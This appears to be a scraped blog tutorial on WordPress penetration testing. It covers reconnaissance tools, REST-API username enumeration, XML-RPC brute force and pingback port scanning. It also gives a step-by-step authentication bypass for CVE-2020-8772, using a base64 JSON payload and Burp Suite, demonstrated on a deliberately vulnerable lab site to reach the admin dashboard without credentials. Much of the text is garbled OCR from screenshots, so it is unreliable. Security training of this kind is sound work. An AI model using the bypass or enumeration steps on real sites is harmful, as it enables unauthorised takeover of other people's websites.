Mastering WordPress Penetration Testing: A Step-by-Step Guide In this comprehensive guide, we'll explore various aspects of WordPress penetration testing. Starting with gathering information using tools like Wappalyzer and WPintel. We'll then dive into WordPress penetration testing with tools such as NMAP, FFuF, Nuclei, and Wpscan to uncover vulnerabilities. We'll discuss exploiting specific vulnerabilities, manual approaches like username enumeration, and XML-RPC vulnerabilities. Understanding Cross-Site Port Attacks (XSPA) will enhance our knowledge. Lastly, we'll explore online platforms to scan WordPress sites, providing a complete view of WordPress security. HOWTO PERFORM Sgt Pa STEP-BY-STEP GUIDE Gather Information — Browser Extensions WappalyzerTECHNOLOGIES MORE INFO cms @ WordPress 53 Database managers &° Adminer 4.62 Blogs @®) WordPress 5.3 Font scripts Twitter Emoji s I F (rwemajiy = Miscellaneous a ae WpPintel & Export Programming languages pho PHP 7.1.33 Operating systems © Debian Databases ‘MySQL JavaScript libraries Underscore,js 183 © jQuery ul 1.114 (© jQuery Migrate 1.4.1i WordPress ——— Srceadnal WordPress Detected! VERSION & VULNERABILITIES THEMES & PLUGINS INFORMATION ENUMERATE USERNAMES. CHECK FOR USER REGISTRATION CHECK FOR PATH DISCLOSURE « RETURN TO MAIN MENU | WordPress Penetration Testing — Tools NMAPnmap -sS domain. com Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-12 20:29 IST Nmap scan report for 192.168.194.135 (192.168.194.135) Host is up (@.004@s latency). Not shown: 999 closed tcp ports (reset) Osta UES ABCs 8@/tcp open http MAC Address: @0:0C:29:F5:BC:39 (VMware) NT ee CET hoe ce DE UL Be eS Coe > Tools ff FFuF ffuf -w wordlist.txt -u http: //domain.com/FUZZ -mc 200 ety Calibration ortRS. zendengine| Nuclei nuclei -u https: //domain.com© 127.0.0.1:31337/adminer.php See ee Language: (English Adminer 4.6.2 4.8.1 Login Server [localhost sd Username |] Password |) batabase |) Login ] (J Permanent login Wpscanwpscan --url http: //domain.com --api-token wpscan_token Pseee eee eet ceeaieras Peer) ees dPress/wordpre! Peer Corres restate copies Exploit CVE-2020-8772 1. This is the front part of the WordPress application. You can see that we have not logged into the admin panel of the WordPress site.Damn Vulnerable WordPress Sample Page Just another WordPress site pis Poot Q UNCATEGORIZED Hack Me If You Can & Byadmin€3 August 12,2023 © 1Comment ‘Welcome to Dama Vulnerable WordPress. This is your first post. Edit or delete it, then start writing! The Screenshot shows the WordPress application page[/caption] 2. Create the base64 code using the below JSON Payload. Payload: {“iwp_action”:”add_site”,”params”: {“username”:”admin”}} Command: echo '{"iwp_action":"add_site", "params": {"username":"admin"}}! | base64 3. Refresh the WordPress site and intercept the request using Burp Suite. 4, Append the base64-generated payload (that you got from the above steps) with the provided string found in the exploit URL like this. Payload: _IWP_JSON_PREFIX_eyJpd3BfYWNOaW9uTjoiYWRkX3NpdGUiLCJwYXIhbXMi 5. Right-click on the Burp Suite’s interceptor tab, and click on “change request method” to modify the request from GET to POST.6. As shown below, replace the payload with the above payload. 2 Pomeatemeure1aox3i30 Few Oe EEE actor Oren vost ZAP S Reape Lanuane! tren S89, ers-0.8 (Sate: ooh ipa Shaheen ces S-DiaSOTeROp2UTANOERINF 2 Content-Type pp cate forn-uerceded 2 a 350 FREED. pssarmtauTotBCpSGLCOMLRORM nee eSraKOLRTE ELA 7. Click on “Intercept is on” to forward the request. Once you forward the request, you will see something like this. 8, Now, Navigate to the Homepage of the WordPress site. The attack was successful, and now you have access to the admin dashboard. Damn Vulnerable WordPress. Jost nother Worsress ste Hack Me If You Can Brasnin 63 Aust t2,2028 © 1Comment ‘Welcome to Datna Vulnerable WordPress. This is your ise post, dit or delete i then sare writing! wea As evident, we have successfully accessed the admin panel without the need to input a username and password.Welcome to WordPress! WordPress Penetration Testing — Manual Username Enumeration ?rest_route=/wp/v2/users Jwp-json/wp/v2/usersPee a eens Common Vulnerabilities in XML-RPC BruteForce attack a a a Right now, the initial step is to send a “POST” request. This request helps us find out what things we can do on a website. It’s like checking a menu before ordering food. We do this to see what methods we can use, and we might find one that we can use to attack the site. To see all these methods,we send a POST request and include some specific information along with it. When we do this, the website sends back a message telling us all the different methods that are enabled on the server. system. ListMethods wp.getUserBlogs metaWeblog.getUsersBlogs wp.getCategories wp. getUsersBlogs admin pass Ge owe vet et — ae oe he Pe ee are ea HOS cues on pes ines SEESETENASss me wo at to moma Teele odin amanaentanracarnimecromeinn oe ia ee SS Sac, Tn hci tae: etyEy aren + spppmeraommcmect ee Ce nee acne ere Sie ea ee See ee SE Simeecmmammnn eee eee (Shine sivedeates Cross Site Port Attack — XSPA Pingback. ping Eat wesw ex 1 endear asonturiptn 3S Scsgateetatrercestsnenaes 2 Stucsircparm mfaloesnimleie 2 Soucstrcppget erwin gerinettrinsine Sires te “Schism geemeorin ip, pingback.ping http: //: http: //< Online Websites to scan WordPress websites There are websites that can help you check your WordPress website’s security for free. You just need to enter your website’s address, and these websites will show you the results. https://sitecheck.sucuri.net https://wpsec.com/scan/ https://hackertarget.com/wordpress-security-scan/